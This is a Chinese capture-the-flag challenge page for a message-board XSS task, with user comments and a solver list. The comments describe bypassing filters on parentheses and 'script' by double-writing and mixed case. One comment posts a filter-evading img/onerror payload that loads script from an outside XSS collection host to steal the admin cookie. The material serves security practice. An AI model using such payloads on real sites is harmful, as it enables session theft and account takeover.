留言板1WEB 未解决

分数: 20 金币: 3
题目作者: harry
一  血: 18256197318
一血奖励: 5金币
解  决: 256
提  示: 需要xss平台接收flag
描  述:
flag{}
评论
小蔡 3年前

终于解出来了,已经写了WP 等待审核通过!

回复 0

17695688750 3年前

去xsspt吧xss代码复制到留言板,留言板设置了()和script过滤,想办法绕过

回复 0
zzzlu 2年前

这个xsspt要钱,好坑的平台

回复 0

sshui 3年前

大哥,能给一下payload吗?

回复 2

18256197318 3年前

双写+大小写绕过

回复 0
chaojiikun 1年前

@harry 哥你出的什么题坑死我了

回复 0

jojojoker 3年前

@harry 需要登录到后台才能拿到管理员的cookie吧,不然拿我自己的cookie?

回复 0

sshui 3年前

@harry 大哥写个wp吧(/(ㄒoㄒ)/~~)

回复 0

harry 管理员 3年前

@追风亚索 这是xss题不需要登录后台

回复 0

追风亚索 3年前

要写脚本才能知道密码吗

回复 0

追风亚索 3年前

密码是什么登不进管理员账号

回复 0

Striker123456 3年前

咋打不出cookiehello[img]123[img]onerror=<sCRScRiPTiPt/SrC=//xss.yt/j5Ys>[img][/img]

回复 0

Striker123456 3年前

这道题,我是不是做过?

回复 0

WriteUp

image
小蔡

5 金币

评分(4)

解题动态

花开花落 攻破了该题 2天前
小楼一夜听春雨 攻破了该题 3天前
世界你好 攻破了该题 4天前
1柒1 攻破了该题 5天前
能工智人 攻破了该题 5天前
17199913044 攻破了该题 7天前
lzq2000 攻破了该题 7天前
fjakjasdhfa 攻破了该题 8天前
6ufui 攻破了该题 9天前
小白修炼日常 攻破了该题 18天前
星宇Sec 攻破了该题 21天前
这个昵称已存在 攻破了该题 24天前
加州故事 攻破了该题 1月前
mystery 攻破了该题 1月前
灵梦归希 攻破了该题 1月前
ljjbit 攻破了该题 1月前
whshkdh 攻破了该题 1月前
tabwux 攻破了该题 1月前
兰小方 攻破了该题 1月前
任务renwu 攻破了该题 1月前
问题反馈